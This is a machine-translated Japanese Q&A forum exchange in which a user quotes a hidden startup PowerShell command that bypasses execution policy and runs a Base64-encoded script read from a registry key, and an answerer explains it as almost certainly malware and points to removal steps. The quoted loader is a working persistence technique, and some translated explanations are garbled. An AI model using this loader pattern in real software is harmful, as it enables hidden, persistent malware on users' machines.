数日前、タスクマネージャーでpowershell.exeプロセスが実行されていることに気づきました。私がmsconfigに行ったとき、それは本当に長いコマンドを持っています。ここにあります:
C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe -noprofile -windowstyle hidden -executionpolicy bypass iex ([Text.Encoding]::ASCII.Get.String([Convert]::FromBase64string((gp'HKCU:\Software\Classes\SAJELFZIXHQTV').ADUXJH)));
これは本当に奇妙なことです。なぜなら、今日、私が以前に問題を抱えていたランダムなプロセスがウイルスであり、Windowsが言うように、私のPCにセキュリティで保護されていないドライバーをダウンロードしようとしたからです。このPowerShellプロセスについて誰か教えてもらえますか?起動時に起動し、常に実行されています。繰り返しになりますが、私は無知に聞こえないことを願っています。おそらくそれは通常の起動プロセスです。
これはほぼ間違いなく悪意のあるものです。
分解しましょう。非表示ウィンドウ(-noprofile
)でユーザーのカスタマイズ(-windowstyle hidden
)なしでWindows PowerShell(正当で非常に便利なコマンドインタープリター)を呼び出し、システムポリシー(-executionpolicy bypass
)。次に、次のコマンドを実行します。
iex ([Text.Encoding]::ASCII.Get.String([Convert]::FromBase64string((gp'HKCU:\Software\Classes\SAJELFZIXHQTV').ADUXJH)))
gp
はGet-ItemProperty
を意味し、レジストリキーの値を取得するために使用できます。これは、ここで実行していることです。どうやら、現在のユーザーのSoftware\Classes
キーにはSAJELFZIXHQTV
というキーがあります。そのキーにはADUXJH
という値があり、そのデータがgp
によって取得されます。そのデータ(明らかに文字列)は Base64 -バイト配列(FromBase64String
)にデコードされます。これらのバイトは、ASCII text(ASCII.GetString
)として解釈されます。奇妙なことに、元のバイトに余分なドットがあり、ASCII
オブジェクトにはエラーが発生するため、エラーが発生するはずです。 Get
というメンバーはありません。ただし、プロセスが固執していることを考えると、余分なドットは単なる文字起こしエラーであると思われます。
そのエラーがなかった場合、結果のテキストはPowerShellコマンド(iex
)として呼び出されます。つまり、このコマンドは、レジストリからエンコードされたスクリプトをロードして実行するように設計されています。実行内容を正確に確認するには、上記のPowerShellコマンドからiex
を除いたものをコピーし、余分なドットを削除してPowerShellプロンプトに入れて実行します。呼び出されるコマンドを出力します。それはほぼ間違いなく良性ではありません。
Autoruns ツールを使用して、そのエントリの自動起動を停止できます。ただし、感染している可能性があるため、マシンをより深くクリーンアップすることをお勧めします。参照してください 悪意のあるスパイウェア、マルウェア、アドウェア、ウイルス、トロイの木馬、またはルートキットをPCから削除するにはどうすればよいですか?